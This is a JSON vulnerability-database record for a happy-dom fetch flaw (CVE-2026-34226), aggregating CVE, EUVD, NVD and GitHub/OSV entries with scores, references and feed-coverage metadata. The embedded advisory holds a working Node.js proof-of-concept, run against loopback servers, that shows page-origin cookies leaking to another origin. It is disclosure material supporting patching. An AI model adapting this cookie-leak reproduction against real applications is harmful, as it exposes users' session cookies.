{"id":"EUVD-2026-16893","revision":null,"records":[{"revision":"c36313b043d94e9a9741c967f881af5a","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-34226","aliases":[],"title":"Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.","state":0,"publishedAt":"2026-03-27T21:17:24.777+00:00","modifiedAt":"2026-07-15T01:04:37.919+00:00","affected":[{"ecosystem":"Vendor product","name":"happy-dom","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"capricorn86\",\n                    \"product\": \"happy-dom\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 20.8.9\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g","https://github.com/capricorn86/happy-dom/pull/2117","https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751","https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts","https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34226","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-34226","identifiers":["CVE-2026-34226"]},"retained":false,"historicalAffected":[]},{"revision":"8971fc8a7c174a7399b837a439017ce0","observedAt":"2026-11-01T06:05:58.114+00:00","statement":{"source":"euvd","id":"EUVD-2026-16893","aliases":["CVE-2026-34226","GHSA-w4gp-fjgq-3q4g"],"title":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., …","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":null}],"references":["https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g","https://github.com/capricorn86/happy-dom/pull/2117","https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751","https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts","https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-16893","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Mar 27, 2026, 9:17:24 PM","dateUpdated":"Jul 15, 2026, 1:04:37 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-16893","identifiers":["EUVD-2026-16893","CVE-2026-34226","GHSA-w4gp-fjgq-3q4g"]},"retained":false,"historicalAffected":[]},{"revision":"0ab4aacf103b44f7b09dfa32dc1842a0","observedAt":"2026-10-27T09:03:00.507+00:00","statement":{"source":"nvd","id":"CVE-2026-34226","aliases":[],"title":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., …","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.","state":0,"publishedAt":"2026-03-27T22:16:23.113+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts","https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751","https://github.com/capricorn86/happy-dom/pull/2117","https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9","https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g","https://access.redhat.com/security/cve/CVE-2026-34226","https://bugzilla.redhat.com/show_bug.cgi?id=2452519","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34226.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34226","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-201","CWE-359"],"productCriteria":["cpe:2.3:a:capricorn86:happy_dom:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-03-27T22:16:23.113","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-34226","identifiers":["CVE-2026-34226"]},"retained":false,"historicalAffected":[]},{"revision":"c594482264a54965a1440b572dc4bd4c","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-w4gp-fjgq-3q4g","aliases":["CVE-2026-34226"],"title":"Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies","description":"### Summary\n`happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B.\n\n### Details\nIn [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`:\n\n```ts\nconst originURL = new URL(options.window.location.href);\nconst isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);\n// ...\nconst cookies = options.browserFrame.page.context.cookieContainer.getCookies(\n  originURL,\n  false\n);\n```\n\nHere, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`).\n\n### PoC Script Content\n\n```javascript\nconst http = require('http');\nconst dns = require('dns').promises;\nconst { Browser } = require('happy-dom');\n\nasync function listen(server, host) {\n  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));\n}\n\nasync function run() {\n  let observedCookieHeader = null;\n  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';\n  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';\n\n  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');\n  console.log('Setup:');\n  console.log(`  Page Origin Host : ${pageHost}`);\n  console.log(`  Request Target Host: ${apiHost}`);\n  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');\n  console.log('');\n\n  await dns.lookup(pageHost);\n  await dns.lookup(apiHost);\n\n  const pageServer = http.createServer((req, res) => {\n    res.writeHead(200, { 'content-type': 'text/plain' });\n    res.end('page host');\n  });\n\n  const apiServer = http.createServer((req, res) => {\n    observedCookieHeader = req.headers.cookie || '';\n    const origin = req.headers.origin || '';\n    res.writeHead(200, {\n      'content-type': 'application/json',\n      'access-control-allow-origin': origin,\n      'access-control-allow-credentials': 'true'\n    });\n    res.end(JSON.stringify({ ok: true }));\n  });\n\n  const pagePort = await listen(pageServer, '127.0.0.1');\n  const apiPort = await listen(apiServer, '127.0.0.1');\n\n  const browser = new Browser();\n\n  try {\n    const context = browser.defaultContext;\n\n    // Page host: pageHost (local DNS)\n    const page = context.newPage();\n    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;\n    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';\n\n    // Target host: apiHost (local DNS)\n    const apiSeedPage = context.newPage();\n    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;\n    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';\n\n    // Trigger cross-host request with credentials.\n    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {\n      credentials: 'include'\n    });\n    await res.text();\n\n    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');\n    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');\n\n    console.log('Expected:');\n    console.log('  Request to target host should include \"api_cookie=API_ONLY\".');\n    console.log('  Request should NOT include \"page_cookie=PAGE_ONLY\".');\n    console.log('');\n\n    console.log('Actual:');\n    console.log(`  request cookie header: \"${observedCookieHeader || '(empty)'}\"`);\n    console.log(`  includes page_cookie: ${leakedPageCookie}`);\n    console.log(`  includes api_cookie : ${expectedApiCookie}`);\n    console.log('');\n\n    if (leakedPageCookie && !expectedApiCookie) {\n      console.log('Result: VULNERABLE behavior reproduced.');\n      process.exitCode = 0;\n    } else {\n      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');\n      process.exitCode = 1;\n    }\n  } finally {\n    await browser.close();\n    pageServer.close();\n    apiServer.close();\n  }\n}\n\nrun().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n\n```\n\n\nEnvironment:\n1. Node.js >= 22\n2. `happy-dom` 20.6.1\n3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io`\n\nReproduction steps:\n1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io`\n2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io`\n3. From page host, call fetch to target host with `credentials: \"include\"`\n4. Observe `Cookie` header received by the target host\n\nExpected:\n1. Include `api_cookie=API_ONLY`\n2. Do not include `page_cookie=PAGE_ONLY`\n\nActual (observed):\n1. Includes `page_cookie=PAGE_ONLY`\n2. Does not include `api_cookie=API_ONLY`\n\nObserved output:\n```text\n=== PoC: Wrong Cookie Source URL in credentials:include ===\nSetup:\n  Page Origin Host : a.127.0.0.1.nip.io\n  Request Target Host: b.127.0.0.1.nip.io\n  (both resolve to 127.0.0.1 via public wildcard DNS)\n\nExpected:\n  Request to target host should include \"api_cookie=API_ONLY\".\n  Request should NOT include \"page_cookie=PAGE_ONLY\".\n\nActual:\n  request cookie header: \"page_cookie=PAGE_ONLY\"\n  includes page_cookie: true\n  includes api_cookie : false\n\nResult: VULNERABLE behavior reproduced.\n```\n\n### Impact\nCross-origin sensitive information disclosure (cookie leakage).\nImpacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.","state":0,"publishedAt":"2026-03-29T15:23:57+00:00","modifiedAt":"2026-03-29T15:41:19.915766+00:00","affected":[{"ecosystem":"npm","name":"happy-dom","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"20.8.9"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g","https://nvd.nist.gov/vuln/detail/CVE-2026-34226","https://github.com/capricorn86/happy-dom/pull/2117","https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751","https://github.com/capricorn86/happy-dom","https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts","https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9"],"sourceUrl":"https://github.com/advisories/GHSA-w4gp-fjgq-3q4g","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-w4gp-fjgq-3q4g","identifiers":["GHSA-w4gp-fjgq-3q4g","CVE-2026-34226"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-01T17:57:21.4096656+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-01T17:57:21.4096656+00:00","lastSuccessAt":"2026-11-01T17:57:21.5916126+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.5916133+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-aece262bb10a694367a43c24d730aa8e8dc171723eaec4c15cdd32f04bda103f-d5c3ebbfb28a03509d20973fbb2330bc7b9e252e9828be2e66ae9aea69b49ce1","complete":true,"records":417669,"lastAttemptAt":"2026-11-01T18:57:22.5530729+00:00","lastSuccessAt":"2026-11-01T18:57:22.2751752+00:00","error":null,"lastVerifiedAt":"2026-11-01T18:57:22.5530729+00:00","snapshotPublishedAt":"2026-11-01T18:27:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-35b3277f93af45a38903f87f33008ff6","complete":false,"records":13568,"lastAttemptAt":"2026-11-01T18:09:13.7653963+00:00","lastSuccessAt":"2026-11-01T18:09:13.759+00:00","error":null,"lastVerifiedAt":"2026-11-01T18:09:13.759+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13449,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-01T17:57:21.4096656+00:00","complete":true,"records":1095,"lastAttemptAt":"2026-11-01T17:57:21.4096656+00:00","lastSuccessAt":"2026-11-01T17:57:21.5924164+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.5924166+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7045ba394160400f8f8ae145a6052ae9","complete":true,"records":13580,"lastAttemptAt":"2026-11-01T17:57:28.2948021+00:00","lastSuccessAt":"2026-11-01T17:57:28.288+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:28.288+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-11-01T17:57:21.3611317+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.3611317+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-11-01T18:57:22.7482139+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-11-01T18:57:22.7482139+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-11-01T17:57:21.3756349+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.3756349+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-55acacd40a7aab88cf530cfddf98233a5d800cfc6bb1883653ecf5bee50f4426","complete":true,"records":230996,"lastAttemptAt":"2026-11-01T18:57:28.78235+00:00","lastSuccessAt":"2026-11-01T09:06:49.6961926+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.1761784+00:00","snapshotPublishedAt":"2026-11-01T08:33:39+00:00","importing":true,"stagedRecords":226000,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}